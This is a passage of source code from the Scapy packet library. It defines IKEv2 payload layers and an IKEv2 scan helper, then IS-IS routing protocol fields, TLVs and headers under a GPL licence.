x.SPIsize), StrLenField("load", "", length_from=lambda x: x.length - 8), ] class IKEv2_payload_KE(IKEv2_class): name = "IKEv2 Key Exchange" overload_fields = {IKEv2: {"next_payload": 34}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), ShortEnumField("group", 0, IKEv2TransformTypes['GroupDesc'][1]), ShortField("res2", 0), StrLenField("load", "", length_from=lambda x:x.length - 8), ] class IKEv2_payload_IDi(IKEv2_class): name = "IKEv2 Identification - Initiator" overload_fields = {IKEv2: {"next_payload": 35}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), ByteEnumField("IDtype", 1, {1: "IPv4_addr", 2: "FQDN", 3: "Email_addr", 5: "IPv6_addr", 11: "Key"}), # noqa: E501 ByteEnumField("ProtoID", 0, {0: "Unused"}), ShortEnumField("Port", 0, {0: "Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load", "", length_from=lambda x: x.length - 8), ] class IKEv2_payload_IDr(IKEv2_class): name = "IKEv2 Identification - Responder" overload_fields = {IKEv2: {"next_payload": 36}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 8), ByteEnumField("IDtype", 1, {1: "IPv4_addr", 2: "FQDN", 3: "Email_addr", 5: "IPv6_addr", 11: "Key"}), # noqa: E501 ByteEnumField("ProtoID", 0, {0: "Unused"}), ShortEnumField("Port", 0, {0: "Unused"}), # IPField("IdentData","127.0.0.1"), StrLenField("load", "", length_from=lambda x: x.length - 8), ] class IKEv2_payload_Encrypted(IKEv2_class): name = "IKEv2 Encrypted and Authenticated" overload_fields = {IKEv2: {"next_payload": 46}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x:x + 4), StrLenField("load", "", length_from=lambda x:x.length - 4), ] class IKEv2_payload_Encrypted_Fragment(IKEv2_class): name = "IKEv2 Encrypted Fragment" overload_fields = {IKEv2: {"next_payload": 53}} fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "load", "H", adjust=lambda pkt, x: x + 8), # noqa: E501 ShortField("frag_number", 1), ShortField("frag_total", 1), StrLenField("load", "", length_from=lambda x: x.length - 8), ] class IKEv2_payload_CERTREQ(IKEv2_class): name = "IKEv2 Certificate Request" fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "cert_data", "H", adjust=lambda pkt, x:x + 5), # noqa: E501 ByteEnumField("cert_type", 0, IKEv2CertificateEncodings), StrLenField("cert_data", "", length_from=lambda x:x.length - 5), ] class IKEv2_payload_CERT(IKEv2_class): @classmethod def dispatch_hook(cls, _pkt=None, *args, **kargs): if _pkt and len(_pkt) >= 16: ts_type = struct.unpack("!B", _pkt[4:5])[0] if ts_type == 4: return IKEv2_payload_CERT_CRT elif ts_type == 7: return IKEv2_payload_CERT_CRL else: return IKEv2_payload_CERT_STR return IKEv2_payload_CERT_STR class IKEv2_payload_CERT_CRT(IKEv2_payload_CERT): name = "IKEv2 Certificate" fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "x509Cert", "H", adjust=lambda pkt, x: x + len(pkt.x509Cert) + 5), # noqa: E501 ByteEnumField("cert_type", 4, IKEv2CertificateEncodings), PacketLenField("x509Cert", X509_Cert(''), X509_Cert, length_from=lambda x:x.length - 5), # noqa: E501 ] class IKEv2_payload_CERT_CRL(IKEv2_payload_CERT): name = "IKEv2 Certificate" fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "x509CRL", "H", adjust=lambda pkt, x: x + len(pkt.x509CRL) + 5), # noqa: E501 ByteEnumField("cert_type", 7, IKEv2CertificateEncodings), PacketLenField("x509CRL", X509_CRL(''), X509_CRL, length_from=lambda x:x.length - 5), # noqa: E501 ] class IKEv2_payload_CERT_STR(IKEv2_payload_CERT): name = "IKEv2 Certificate" fields_desc = [ ByteEnumField("next_payload", None, IKEv2_payload_type), ByteField("res", 0), FieldLenField("length", None, "cert_data", "H", adjust=lambda pkt, x: x + 5), # noqa: E501 ByteEnumField("cert_type", 0, IKEv2CertificateEncodings), StrLenField("cert_data", "", length_from=lambda x:x.length - 5), ] IKEv2_payload_type_overload = {} for i, payloadname in enumerate(IKEv2_payload_type): name = "IKEv2_payload_%s" % payloadname if name in globals(): IKEv2_payload_type_overload[globals()[name]] = {"next_payload": i} del i, payloadname, name IKEv2_class._overload_fields = IKEv2_payload_type_overload.copy() split_layers(UDP, ISAKMP, sport=500) split_layers(UDP, ISAKMP, dport=500) bind_layers(UDP, IKEv2, dport=500, sport=500) # TODO: distinguish IKEv1/IKEv2 bind_layers(UDP, IKEv2, dport=4500, sport=4500) def ikev2scan(ip, **kwargs): """Send a IKEv2 SA to an IP and wait for answers.""" return sr(IP(dst=ip) / UDP() / IKEv2(init_SPI=RandString(8), exch_type=34) / IKEv2_payload_SA(prop=IKEv2_payload_Proposal()), **kwargs) # noqa: E501 scapy-2.4.4/scapy/contrib/isis.py000066400000000000000000001013751372370053500167540ustar00rootroot00000000000000# This file is part of Scapy # Scapy is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 2 of the License, or # any later version. # # Scapy is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with Scapy. If not, see . # scapy.contrib.description = Intermediate System to Intermediate System (ISIS) # scapy.contrib.status = loads """ IS-IS Scapy Extension ~~~~~~~~~~~~~~~~~~~~~ :copyright: 2014-2016 BENOCS GmbH, Berlin (Germany) :author: Marcel Patzlaff, mpatzlaff@benocs.com Michal Kaliszan, mkaliszan@benocs.com :license: GPLv2 This module is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This module is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. :description: This module provides Scapy layers for the Intermediate System to Intermediate System routing protocol as defined in RFC 1195. Currently it (partially) supports the packaging/encoding requirements of the following RFCs: * RFC 1195 (only the TCP/IP related part) * RFC 3358 (optional checksums) * RFC 5301 (dynamic hostname extension) * RFC 5302 (domain-wide prefix distribution) * RFC 5303 (three-way handshake) * RFC 5304 (cryptographic authentication) * RFC 5308 (routing IPv6 with IS-IS) :TODO: - packet relations (requests, responses) - support for recent RFCs: * RFC 5305 (traffic engineering) * RFC 5307 (support for G-MPLS) * RFC 5310 (generic cryptographic authentication) * RFC 5316 (inter-AS MPLS and G-MPLS TE) """ from __future__ import absolute_import import struct import random from scapy.config import conf from scapy.fields import BitField, BitFieldLenField, BoundStrLenField, \ ByteEnumField, ByteField, ConditionalField, Field, FieldLenField, \ FieldListField, FlagsField, IEEEFloatField, IP6PrefixField, IPField, \ IPPrefixField, IntField, LongField, MACField, PacketListField, \ ShortField, ThreeBytesField, XIntField, XShortField from scapy.packet import bind_layers, Packet from scapy.layers.clns import network_layer_protocol_ids, register_cln_protocol from scapy.layers.inet6 import IP6ListField, IP6Field from scapy.utils import fletcher16_checkbytes from scapy.volatile import RandString, RandByte from scapy.modules.six.moves import range from scapy.compat import orb, hex_bytes EXT_VERSION = "v0.0.2" ####################################################################### # ISIS Utilities + Fields # ####################################################################### def isis_area2str(area): return b"".join(hex_bytes(x) for x in area.split(".")) def isis_str2area(s): if len(s) == 0: return "" numbytes = len(s[1:]) fmt = "%02X" + (".%02X%02X" * (numbytes // 2)) + ("" if (numbytes % 2) == 0 else ".%02X") # noqa: E501 return fmt % tuple(orb(x) for x in s) def isis_sysid2str(sysid): return b"".join(hex_bytes(x) for x in sysid.split(".")) def isis_str2sysid(s): return ("%02X%02X." * 3)[:-1] % tuple(orb(x) for x in s) def isis_nodeid2str(nodeid): return isis_sysid2str(nodeid[:-3]) + hex_bytes(nodeid[-2:]) def isis_str2nodeid(s): return "%s.%02X" % (isis_str2sysid(s[:-1]), orb(s[-1])) def isis_lspid2str(lspid): return isis_nodeid2str(lspid[:-3]) + hex_bytes(lspid[-2:]) def isis_str2lspid(s): return "%s-%02X" % (isis_str2nodeid(s[:-1]), orb(s[-1])) class _ISIS_IdFieldBase(Field): __slots__ = ["to_str", "to_id", "length"] def __init__(self, name, default, length, to_str, to_id): self.to_str = to_str self.to_id = to_id self.length = length Field.__init__(self, name, default, "%is" % length) def i2m(self, pkt, x): if x is None: return b"\0" * self.length return self.to_str(x) def m2i(self, pkt, x): return self.to_id(x) def any2i(self, pkt, x): if isinstance(x, str) and len(x) == self.length: return self.m2i(pkt, x) return x class _ISIS_RandId(RandString): def __init__(self, template): RandString.__init__(self) self.bytecount = template.count("*") self.format = template.replace("*", "%02X") def _fix(self): if self.bytecount == 0: return "" val = () for _ in range(self.bytecount): val += (RandByte(),) return self.format % val class _ISIS_RandAreaId(_ISIS_RandId): def __init__(self, bytecount=None): template = "*" + ( ".**" * ((self.bytecount - 1) // 2) ) + ( "" if ((self.bytecount - 1) % 2) == 0 else ".*" ) super(_ISIS_RandAreaId, self).__init__(template) if bytecount is None: self.bytecount = random.randint(1, 13) else: self.bytecount = bytecount class ISIS_AreaIdField(Field): __slots__ = ["length_from"] def __init__(self, name, default, length_from): Field.__init__(self, name, default) self.length_from = length_from def i2m(self, pkt, x): return isis_area2str(x) def m2i(self, pkt, x): return isis_str2area(x) def i2len(self, pkt, x): if x is None: return 0 tmp_len = len(x) # l/5 is the number of dots in the Area ID return (tmp_len - (tmp_len // 5)) // 2 def addfield(self, pkt, s, val): sval = self.i2m(pkt, val) return s + struct.pack("!%is" % len(sval), sval) def getfield(self, pkt, s): numbytes = self.length_from(pkt) return s[numbytes:], self.m2i(pkt, struct.unpack("!%is" % numbytes, s[:numbytes])[0]) # noqa: E501 def randval(self): return _ISIS_RandAreaId() class ISIS_SystemIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 6, isis_sysid2str, isis_str2sysid) # noqa: E501 def randval(self): return _ISIS_RandId("**.**.**") class ISIS_NodeIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 7, isis_nodeid2str, isis_str2nodeid) # noqa: E501 def randval(self): return _ISIS_RandId("**.**.**.*") class ISIS_LspIdField(_ISIS_IdFieldBase): def __init__(self, name, default): _ISIS_IdFieldBase.__init__(self, name, default, 8, isis_lspid2str, isis_str2lspid) # noqa: E501 def randval(self): return _ISIS_RandId("**.**.**.*-*") class ISIS_CircuitTypeField(FlagsField): def __init__(self, name="circuittype", default=2, size=8, names=None): if names is None: names = ["L1", "L2", "r0", "r1", "r2", "r3", "r4", "r5"] FlagsField.__init__(self, name, default, size, names) def _ISIS_GuessTlvClass_Helper(tlv_classes, defaultname, p, **kargs): cls = conf.raw_layer if len(p) >= 2: tlvtype = orb(p[0]) clsname = tlv_classes.get(tlvtype, defaultname) cls = globals()[clsname] return cls(p, **kargs) class _ISIS_GenericTlv_Base(Packet): fields_desc = [ByteField("type", 0), FieldLenField("len", None, length_of="val", fmt="B"), BoundStrLenField("val", "", length_from=lambda pkt: pkt.len)] # noqa: E501 def guess_payload_class(self, p): return conf.padding_layer class ISIS_GenericTlv(_ISIS_GenericTlv_Base): name = "ISIS Generic TLV" class ISIS_GenericSubTlv(_ISIS_GenericTlv_Base): name = "ISIS Generic Sub-TLV" ####################################################################### # ISIS Sub-TLVs for TLVs 22, 23, 141, 222, 223 # ####################################################################### _isis_subtlv_classes_1 = { 3: "ISIS_AdministrativeGroupSubTlv", 4: "ISIS_LinkLocalRemoteIdentifiersSubTlv", 6: "ISIS_IPv4InterfaceAddressSubTlv", 8: "ISIS_IPv4NeighborAddressSubTlv", 9: "ISIS_MaximumLinkBandwidthSubTlv", 10: "ISIS_MaximumReservableLinkBandwidthSubTlv", 11: "ISIS_UnreservedBandwidthSubTlv", 12: "ISIS_IPv6InterfaceAddressSubTlv", 13: "ISIS_IPv6NeighborAddressSubTlv", 18: "ISIS_TEDefaultMetricSubTlv" } _isis_subtlv_names_1 = { 3: "Administrative Group (Color)", 4: "Link Local/Remote Identifiers", 6: "IPv4 Interface Address", 8: "IPv4 Neighbor Address", 9: "Maximum Link Bandwidth", 10: "Maximum Reservable Link Bandwidth", 11: "Unreserved Bandwidth", 12: "IPv6 Interface Address", 13: "IPv6 Neighbor Address", 18: "TE Default Metric" } def _ISIS_GuessSubTlvClass_1(p, **kargs): return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_1, "ISIS_GenericSubTlv", p, **kargs) # noqa: E501 class ISIS_IPv4InterfaceAddressSubTlv(ISIS_GenericSubTlv): name = "ISIS IPv4 Interface Address (S)" fields_desc = [ByteEnumField("type", 6, _isis_subtlv_names_1), FieldLenField("len", None, length_of="address", fmt="B"), IPField("address", "0.0.0.0")] class ISIS_IPv4NeighborAddressSubTlv(ISIS_GenericSubTlv): name = "ISIS IPv4 Neighbor Address (S)" fields_desc = [ByteEnumField("type", 8, _isis_subtlv_names_1), FieldLenField("len", None, length_of="address", fmt="B"), IPField("address", "0.0.0.0")] class ISIS_LinkLocalRemoteIdentifiersSubTlv(ISIS_GenericSubTlv): name = "ISIS Link Local/Remote Identifiers (S)" fields_desc = [ByteEnumField("type", 4, _isis_subtlv_names_1), FieldLenField("len", 8, fmt="B"), IntField("localid", "0"), IntField("remoteid", "0")] class ISIS_IPv6InterfaceAddressSubTlv(ISIS_GenericSubTlv): name = "ISIS IPv6 Interface Address (S)" fields_desc = [ByteEnumField("type", 12, _isis_subtlv_names_1), FieldLenField("len", None, length_of="address", fmt="B"), IP6Field("address", "::")] class ISIS_IPv6NeighborAddressSubTlv(ISIS_GenericSubTlv): name = "ISIS IPv6 Neighbor Address (S)" fields_desc = [ByteEnumField("type", 13, _isis_subtlv_names_1), FieldLenField("len", None, length_of="address", fmt="B"), IP6Field("address", "::")] class ISIS_AdministrativeGroupSubTlv(ISIS_GenericSubTlv): name = "Administrative Group SubTLV (Color)" fields_desc = [ByteEnumField("code", 3, _isis_subtlv_names_1), FieldLenField("len", None, length_of="admingroup", fmt="B"), IPField("admingroup", "0.0.0.1")] class ISIS_MaximumLinkBandwidthSubTlv(ISIS_GenericSubTlv): name = "Maximum Link Bandwidth SubTLV" fields_desc = [ByteEnumField("type", 9, _isis_subtlv_names_1), FieldLenField("len", None, length_of="maxbw", fmt="B"), IEEEFloatField("maxbw", 1000)] # in B/s class ISIS_MaximumReservableLinkBandwidthSubTlv(ISIS_GenericSubTlv): name = "Maximum Reservable Link Bandwidth SubTLV" fields_desc = [ByteEnumField("type", 10, _isis_subtlv_names_1), FieldLenField("len", None, length_of="maxrsvbw", fmt="B"), IEEEFloatField("maxrsvbw", 1000)] # in B/s class ISIS_UnreservedBandwidthSubTlv(ISIS_GenericSubTlv): name = "Unreserved Bandwidth SubTLV" fields_desc = [ByteEnumField("type", 11, _isis_subtlv_names_1), FieldLenField("len", None, length_of="unrsvbw", fmt="B"), FieldListField("unrsvbw", [1000, 1000, 1000, 1000, 1000, 1000, 1000, 1000], IEEEFloatField("", 1000), count_from=lambda pkt: pkt.len / 4)] # in B/s # noqa: E501 class ISIS_TEDefaultMetricSubTlv(ISIS_GenericSubTlv): name = "TE Default Metric SubTLV" fields_desc = [ByteEnumField("type", 18, _isis_subtlv_names_1), FieldLenField("len", None, length_of="temetric", adjust=lambda pkt, x:x - 1, fmt="B"), # noqa: E501 ThreeBytesField("temetric", 1000)] ####################################################################### # ISIS Sub-TLVs for TLVs 135, 235, 236, and 237 # ####################################################################### _isis_subtlv_classes_2 = { 1: "ISIS_32bitAdministrativeTagSubTlv", 2: "ISIS_64bitAdministrativeTagSubTlv" } _isis_subtlv_names_2 = { 1: "32-bit Administrative Tag", 2: "64-bit Administrative Tag" } def _ISIS_GuessSubTlvClass_2(p, **kargs): return _ISIS_GuessTlvClass_Helper(_isis_subtlv_classes_2, "ISIS_GenericSubTlv", p, **kargs) # noqa: E501 class ISIS_32bitAdministrativeTagSubTlv(ISIS_GenericSubTlv): name = "ISIS 32-bit Administrative Tag (S)" fields_desc = [ByteEnumField("type", 1, _isis_subtlv_names_2), FieldLenField("len", None, length_of="tags", fmt="B"), FieldListField("tags", [], IntField("", 0), count_from=lambda pkt: pkt.len // 4)] # noqa: E501 class ISIS_64bitAdministrativeTagSubTlv(ISIS_GenericSubTlv): name = "ISIS 64-bit Administrative Tag (S)" fields_desc = [ByteEnumField("type", 2, _isis_subtlv_names_2), FieldLenField("len", None, length_of="tags", fmt="B"), FieldListField("tags", [], LongField("", 0), count_from=lambda pkt: pkt.len // 8)] # noqa: E501 ####################################################################### # ISIS TLVs # ####################################################################### _isis_tlv_classes = { 1: "ISIS_AreaTlv", 2: "ISIS_IsReachabilityTlv", 6: "ISIS_IsNeighbourTlv", 8: "ISIS_PaddingTlv", 9: "ISIS_LspEntryTlv", 10: "ISIS_AuthenticationTlv", 12: "ISIS_ChecksumTlv", 14: "ISIS_BufferSizeTlv", 22: "ISIS_ExtendedIsReachabilityTlv", 128: "ISIS_InternalIpReachabilityTlv", 129: "ISIS_ProtocolsSupportedTlv", 130: "ISIS_ExternalIpReachabilityTlv", 132: "ISIS_IpInterfaceAddressTlv", 135: "ISIS_ExtendedIpReachabilityTlv", 137: "ISIS_DynamicHostnameTlv", 232: "ISIS_Ipv6InterfaceAddressTlv", 236: "ISIS_Ipv6ReachabilityTlv", 240: "ISIS_P2PAdjacencyStateTlv" } _isis_tlv_names = { 1: "Area TLV", 2: "IS Reachability TLV", 6: "IS Neighbour TLV", 7: "Instance Identifier TLV", 8: "Padding TLV", 9: "LSP Entries TLV", 10: "Authentication TLV", 12: "Optional Checksum TLV", 13: "Purge Originator Identification TLV", 14: "LSP Buffer Size TLV", 22: "Extended IS-Reachability TLV", 23: "IS Neighbour Attribute TLV", 24: "IS Alias ID", 128: "IP Internal Reachability TLV", 129: "Protocols Supported TLV", 130: "IP External Reachability TLV", 131: "Inter-Domain Routing Protocol Information TLV", 132: "IP Interface Address TLV", 134: "Traffic Engineering Router ID TLV", 135: "Extended IP Reachability TLV", 137: "Dynamic Hostname TLV", 138: "GMPLS Shared Risk Link Group TLV", 139: "IPv6 Shared Risk Link Group TLV", 140: "IPv6 Traffic Engineering Router ID TLV", 141: "Inter-AS Reachability Information TLV", 142: "Group Address TLV", 143: "Multi-Topology-Aware Port Capability TLV", 144: "Multi-Topology Capability TLV", 145: "TRILL Neighbour TLV", 147: "MAC-Reachability TLV", 148: "BFD-Enabled TLV", 211: "Restart TLV", 222: "Multi-Topology Intermediate Systems TLV", 223: "Multi-Topology IS Neighbour Attributes TLV", 229: "Multi-Topology TLV", 232: "IPv6 Interface Address TLV", 233: "IPv6 Global Interface Address TLV", 235: "Multi-Topology IPv4 Reachability TLV", 236: "IPv6 Reachability TLV", 237: "Multi-Topology IPv6 Reachability TLV", 240: "Point-to-Point Three-Way Adjacency TLV", 242: "IS-IS Router Capability TLV", 251: "Generic Information TLV" } def _ISIS_GuessTlvClass(p, **kargs): return _ISIS_GuessTlvClass_Helper(_isis_tlv_classes, "ISIS_GenericTlv", p, **kargs) # noqa: E501 class ISIS_AreaEntry(Packet): name = "ISIS Area Entry" fields_desc = [FieldLenField("arealen", None, length_of="areaid", fmt="B"), ISIS_AreaIdField("areaid", "49", length_from=lambda pkt: pkt.arealen)] # noqa: E501 def extract_padding(self, s): return "", s class ISIS_AreaTlv(ISIS_GenericTlv): name = "ISIS Area TLV" fields_desc = [ByteEnumField("type", 1, _isis_tlv_names), FieldLenField("len", None, length_of="areas", fmt="B"), PacketListField("areas", [], ISIS_AreaEntry, length_from=lambda x: x.len)] # noqa: E501 class ISIS_AuthenticationTlv(ISIS_GenericTlv): name = "ISIS Authentication TLV" fields_desc = [ByteEnumField("type", 10, _isis_tlv_names), FieldLenField("len", None, length_of="password", adjust=lambda pkt, x: x + 1, fmt="B"), # noqa: E501 ByteEnumField("authtype", 1, {1: "Plain", 17: "HMAC-MD5"}), BoundStrLenField("password", "", maxlen=254, length_from=lambda pkt: pkt.len - 1)] # noqa: E501 class ISIS_BufferSizeTlv(ISIS_GenericTlv): name = "ISIS Buffer Size TLV" fields_desc = [ByteEnumField("type", 14, _isis_tlv_names), ByteField("len", 2), ShortField("lspbuffersize", 1497)] class ISIS_ChecksumTlv(ISIS_GenericTlv): name = "ISIS Optional Checksum TLV" fields_desc = [ByteEnumField("type", 12, _isis_tlv_names), ByteField("len", 2), XShortField("checksum", None)] class ISIS_DynamicHostnameTlv(ISIS_GenericTlv): name = "ISIS Dynamic Hostname TLV" fields_desc = [ByteEnumField("type", 137, _isis_tlv_names), FieldLenField("len", None, length_of="hostname", fmt="B"), BoundStrLenField("hostname", "", length_from=lambda pkt: pkt.len)] # noqa: E501 class ISIS_ExtendedIpPrefix(Packet): name = "ISIS Extended IP Prefix" fields_desc = [ IntField("metric", 1), BitField("updown", 0, 1), BitField("subtlvindicator", 0, 1), BitFieldLenField("pfxlen", None, 6, length_of="pfx"), IPPrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen), # noqa: E501 ConditionalField(FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), lambda pkt: pkt.subtlvindicator == 1), # noqa: E501 ConditionalField(PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1) # noqa: E501 ] def extract_padding(self, s): return "", s class ISIS_TERouterIDTlv(ISIS_GenericTlv): name = "ISIS TE Router ID TLV" fields_desc = [ByteEnumField("type", 134, _isis_tlv_names), FieldLenField("len", None, length_of="routerid", fmt="B"), IPField("routerid", "0.0.0.0")] class ISIS_ExtendedIpReachabilityTlv(ISIS_GenericTlv): name = "ISIS Extended IP Reachability TLV" fields_desc = [ByteEnumField("type", 135, _isis_tlv_names), FieldLenField("len", None, length_of="pfxs", fmt="B"), PacketListField("pfxs", [], ISIS_ExtendedIpPrefix, length_from=lambda pkt: pkt.len)] # noqa: E501 class ISIS_ExtendedIsNeighbourEntry(Packet): name = "ISIS Extended IS Neighbour Entry" fields_desc = [ ISIS_NodeIdField("neighbourid", "0102.0304.0506.07"), ThreeBytesField("metric", 1), FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_1, length_from=lambda x: x.subtlvslen) # noqa: E501 ] def extract_padding(self, s): return "", s class ISIS_ExtendedIsReachabilityTlv(ISIS_GenericTlv): name = "ISIS Extended IS Reachability TLV" fields_desc = [ByteEnumField("type", 22, _isis_tlv_names), FieldLenField("len", None, length_of="neighbours", fmt="B"), PacketListField("neighbours", [], ISIS_ExtendedIsNeighbourEntry, length_from=lambda x: x.len)] # noqa: E501 class ISIS_IpInterfaceAddressTlv(ISIS_GenericTlv): name = "ISIS IP Interface Address TLV" fields_desc = [ByteEnumField("type", 132, _isis_tlv_names), FieldLenField("len", None, length_of="addresses", fmt="B"), FieldListField("addresses", [], IPField("", "0.0.0.0"), count_from=lambda pkt: pkt.len // 4)] # noqa: E501 class ISIS_Ipv6InterfaceAddressTlv(ISIS_GenericTlv): name = "ISIS IPv6 Interface Address TLV" fields_desc = [ ByteEnumField("type", 232, _isis_tlv_names), FieldLenField("len", None, length_of="addresses", fmt="B"), IP6ListField("addresses", [], count_from=lambda pkt: pkt.len // 16) ] class ISIS_Ipv6Prefix(Packet): name = "ISIS IPv6 Prefix" fields_desc = [ IntField("metric", 1), BitField("updown", 0, 1), BitField("external", 0, 1), BitField("subtlvindicator", 0, 1), BitField("reserved", 0, 5), FieldLenField("pfxlen", None, length_of="pfx", fmt="B"), IP6PrefixField("pfx", None, wordbytes=1, length_from=lambda x: x.pfxlen), # noqa: E501 ConditionalField(FieldLenField("subtlvslen", None, length_of="subtlvs", fmt="B"), lambda pkt: pkt.subtlvindicator == 1), # noqa: E501 ConditionalField(PacketListField("subtlvs", [], _ISIS_GuessSubTlvClass_2, length_from=lambda x: x.subtlvslen), lambda pkt: pkt.subtlvindicator == 1) # noqa: E501 ] def extract_padding(self, s): return "", s class ISIS_Ipv6ReachabilityTlv(ISIS_GenericTlv): name = "ISIS IPv6 Reachability TLV" fields_desc = [ByteEnumField("type", 236, _isis_tlv_names), FieldLenField("len", None, length_of="pfxs", fmt="B"), PacketListField("pfxs", [], ISIS_Ipv6Prefix, length_from=lambda pkt: pkt.len)] # noqa: E501 class ISIS_IsNeighbourTlv(ISIS_GenericTlv): name = "ISIS IS Neighbour TLV" fields_desc = [ByteEnumField("type", 6, _isis_tlv_names), FieldLenField("len", None, length_of="neighbours", fmt="B"), FieldListField("neighbours", [], MACField("", "00.00.00.00.00.00"), count_from=lambda pkt: pkt.len // 6)] # noqa: E501 class ISIS_LspEntry(Packet): name = "ISIS LSP Entry" fields_desc = [ShortField("lifetime", 1200), ISIS_LspIdField("lspid", "0102.0304.0506.07-08"), XIntField("seqnum", 0x00000001), XShortField("checksum", None)] def extract_padding(self, s): return "", s class ISIS_LspEntryTlv(ISIS_GenericTlv): name = "ISIS LSP Entry TLV" fields_desc = [ ByteEnumField("type", 9, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_LspEntry, count_from=lambda pkt: pkt.len // 16) # noqa: E501 ] class _AdjacencyStateTlvLenField(Field): def i2m(self, pkt, x): if pkt.neighbourextlocalcircuitid is not None: return 15 if pkt.neighboursystemid is not None: return 11 if pkt.extlocalcircuitid is not None: return 5 return 1 class ISIS_P2PAdjacencyStateTlv(ISIS_GenericTlv): name = "ISIS P2P Adjacency State TLV" fields_desc = [ByteEnumField("type", 240, _isis_tlv_names), _AdjacencyStateTlvLenField("len", None, fmt="B"), ByteEnumField("state", "Down", {0x2: "Down", 0x1: "Initialising", 0x0: "Up"}), # noqa: E501 ConditionalField(IntField("extlocalcircuitid", None), lambda pkt: pkt.len >= 5), # noqa: E501 ConditionalField(ISIS_SystemIdField("neighboursystemid", None), lambda pkt: pkt.len >= 11), # noqa: E501 ConditionalField(IntField("neighbourextlocalcircuitid", None), lambda pkt: pkt.len == 15)] # noqa: E501 # TODO dynamically allocate sufficient size class ISIS_PaddingTlv(ISIS_GenericTlv): name = "ISIS Padding TLV" fields_desc = [ ByteEnumField("type", 8, _isis_tlv_names), FieldLenField("len", None, length_of="padding", fmt="B"), BoundStrLenField("padding", "", length_from=lambda pkt: pkt.len) ] class ISIS_ProtocolsSupportedTlv(ISIS_GenericTlv): name = "ISIS Protocols Supported TLV" fields_desc = [ ByteEnumField("type", 129, _isis_tlv_names), FieldLenField("len", None, count_of="nlpids", fmt="B"), FieldListField("nlpids", [], ByteEnumField("", "IPv4", network_layer_protocol_ids), count_from=lambda pkt: pkt.len) # noqa: E501 ] ####################################################################### # ISIS Old-Style TLVs # ####################################################################### class ISIS_IpReachabilityEntry(Packet): name = "ISIS IP Reachability" fields_desc = [ByteField("defmetric", 1), ByteField("delmetric", 0x80), ByteField("expmetric", 0x80), ByteField("errmetric", 0x80), IPField("ipaddress", "0.0.0.0"), IPField("subnetmask", "255.255.255.255")] def extract_padding(self, s): return "", s class ISIS_InternalIpReachabilityTlv(ISIS_GenericTlv): name = "ISIS Internal IP Reachability TLV" fields_desc = [ ByteEnumField("type", 128, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12) # noqa: E501 ] class ISIS_ExternalIpReachabilityTlv(ISIS_GenericTlv): name = "ISIS External IP Reachability TLV" fields_desc = [ ByteEnumField("type", 130, _isis_tlv_names), FieldLenField("len", None, length_of="entries", fmt="B"), PacketListField("entries", [], ISIS_IpReachabilityEntry, count_from=lambda x: x.len // 12) # noqa: E501 ] class ISIS_IsReachabilityEntry(Packet): name = "ISIS IS Reachability" fields_desc = [ByteField("defmetric", 1), ByteField("delmetric", 0x80), ByteField("expmetric", 0x80), ByteField("errmetric", 0x80), ISIS_NodeIdField("neighbourid", "0102.0304.0506.07")] def extract_padding(self, s): return "", s class ISIS_IsReachabilityTlv(ISIS_GenericTlv): name = "ISIS IS Reachability TLV" fields_desc = [ ByteEnumField("type", 2, _isis_tlv_names), FieldLenField("len", None, fmt="B", length_of="neighbours", adjust=lambda pkt, x: x + 1), # noqa: E501 ByteField("virtual", 0), PacketListField("neighbours", [], ISIS_IsReachabilityEntry, count_from=lambda x: (x.len - 1) // 11) # noqa: E501 ] ####################################################################### # ISIS PDU Packets # ####################################################################### _isis_pdu_names = { 15: "L1 LAN Hello", 16: "L2 LAN Hello", 17: "P2P Hello", 18: "L1 LSP", 20: "L2 LSP", 24: "L1 CSNP", 25: "L2 CSNP", 26: "L1 PSNP", 27: "L2 PSNP" } class ISIS_CommonHdr(Packet): name = "ISIS Common Header" fields_desc = [ ByteEnumField("nlpid", 0x83, network_layer_protocol_ids), ByteField("hdrlen", None), ByteField("version", 1), ByteField("idlen", 0), ByteEnumField("pdutype", None, _isis_pdu_names), ByteField("pduversion", 1), ByteField("hdrreserved", 0), ByteField("maxareaaddr", 0) ] def post_build(self, pkt, pay): # calculating checksum if requested pdu = pkt + pay checksumInfo 